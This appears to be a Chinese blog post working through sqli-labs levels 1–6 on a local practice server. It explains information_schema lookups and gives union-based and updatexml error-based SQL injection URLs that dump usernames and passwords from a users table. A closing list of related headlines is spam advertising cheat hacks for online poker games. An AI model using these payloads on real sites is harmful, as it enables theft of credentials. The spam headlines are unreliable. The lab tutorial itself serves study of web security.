sqlilab本地靶场注入less-1~less-6
创始人
2024-11-04 09:38:25
0

如何通过information_schema数据库查表名,列名

首先要了解mysql和mariadb数据库默认自带的tables有哪些:

mariadb自带数据库
 information_schema 
 performance_schema 
 mysql  

MySQL自带数据库
 information_schema 
 performance_schema 
 mysql  
 sys
 test(可选,默认自带)

其中information_schema可以查到表名,列名,了解其过程:

use information_schema;        #切换当前数据库为information_schema

show tables;        #查看当前数据库内的表名

information_schema中要注意这三个表:tables,columns,schemata

首先我们desc这三个表,查看其具体表结构

查看tables表内的table_name,table_schema,发现name包括了所有数据库的表名,schema包括了所有表的所属数据库名--重复的很多

select table_name from tables;

select table_schema from tables;

 同tables,columns表内的column_name包括了所有表的列名,table_name,table_schema相同

 我们再查看schemata表,发现schema_name中包括了所有的数据库名

 所以可以通过where table_schema='security'来进行精确查找某数据库(security)的表名

 也可以通过where table_schema='security' and table_name = 'users'来精确查找某数据库内某表的列名

 至此,表名列名我们都获得了,就可以查看某数据库内某张表的具体数据了

sql简单注入

 个人理解:在url中写入sql语句同时绕过闭合字符,让mysql在数据库内执行该语句既是sql注入

通过order by语句列名排序可以用数字来代替列名,同时让数字超过列名数量,从而达成报错,可以得知当前表的列数,比如less-1中列数为3

 通过联合查询(表1 union 表2)来查看显示字段的是第几列

#表1和表2必须列数相同,如果表1无法显示,则会显示表2

 select 1,2,3创建显示简单表,但是2,3这些数字可以用函数来代替,而且会显示该函数执行结果

 如上图,可获得当前数据库名和当前用户

Less-1:#'id' --闭合字符为'  '

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

#其中group_concat()函数能将一列数据在一行内显示

 

less-2:    #id 相比less-1,缺少了'的闭合,即没有闭合字符

http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

less-3:    #('id')

http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

less-4:    #(" id ")

http://127.0.0.1/sqli/Less-4/?id=0%22) union select 1,group_concat(username,0x3a,password),3 from users--+

less-5:    #'id' + 报错函数updatexml()可用

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

#substr()函数可以显示一段字符串中,可以从哪个字符开始显示,往下显示多少个字符,从而解决updatexml()函数报错最多只能显示32个字符的问题

less-6:    #"id" + 报错函数可用

http://127.0.0.1/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

相关内容

热门资讯

解迷透视!sohoo poke... 解迷透视!sohoo poker辅助器,线上德州的辅助器是什么(透视)确实真的是有辅助软件(哔哩哔哩...
截至目前!竞技联盟辅助插件,潮... 截至目前!竞技联盟辅助插件,潮友会鱼虾蟹辅助,教程书辅助器(有挂透视)-哔哩哔哩;1、点击下载安装,...
专业透视!xpoker辅助神器... 专业透视!xpoker辅助神器,哈糖大菠萝软件下载(透视)切实是有辅助工具(哔哩哔哩)1)哈糖大菠萝...
透视神器!哈糖大菠萝有挂吗,开... 透视神器!哈糖大菠萝有挂吗,开心酷跑破解版,资料辅助器(有挂详情)-哔哩哔哩1、全新机制【哈糖大菠萝...
科普透视!sohoopoker... 科普透视!sohoopoker辅助,约局吧开挂神器是真的吗(透视)竟然有辅助攻略(哔哩哔哩)约局吧开...
透视好友房!pokemmo辅助... 透视好友房!pokemmo辅助工具,微信三哥玩辅助,演示辅助脚本(揭秘有挂)-哔哩哔哩1、全新机制【...
开挂透视!pokemmo手机版... 开挂透视!pokemmo手机版透视脚本,newpoker脚本(透视)总是存在有辅助方法(哔哩哔哩)1...
2026版软件!德州透视是真的... 2026版软件!德州透视是真的假的,掌电竞技辅助器,烘培辅助app(讲解有挂)-哔哩哔哩德州透视是真...
揭幕透视!菠萝德州透视脚本,s... 揭幕透视!菠萝德州透视脚本,sohoo竞技联盟辅助器(透视)原来一直都是有辅助软件(哔哩哔哩)1、进...
出乎意料的是!pokemmo手... 出乎意料的是!pokemmo手机辅助软件,葫芦娃通杀辅助使用,讲义辅助挂(有挂神器)-哔哩哔哩1、葫...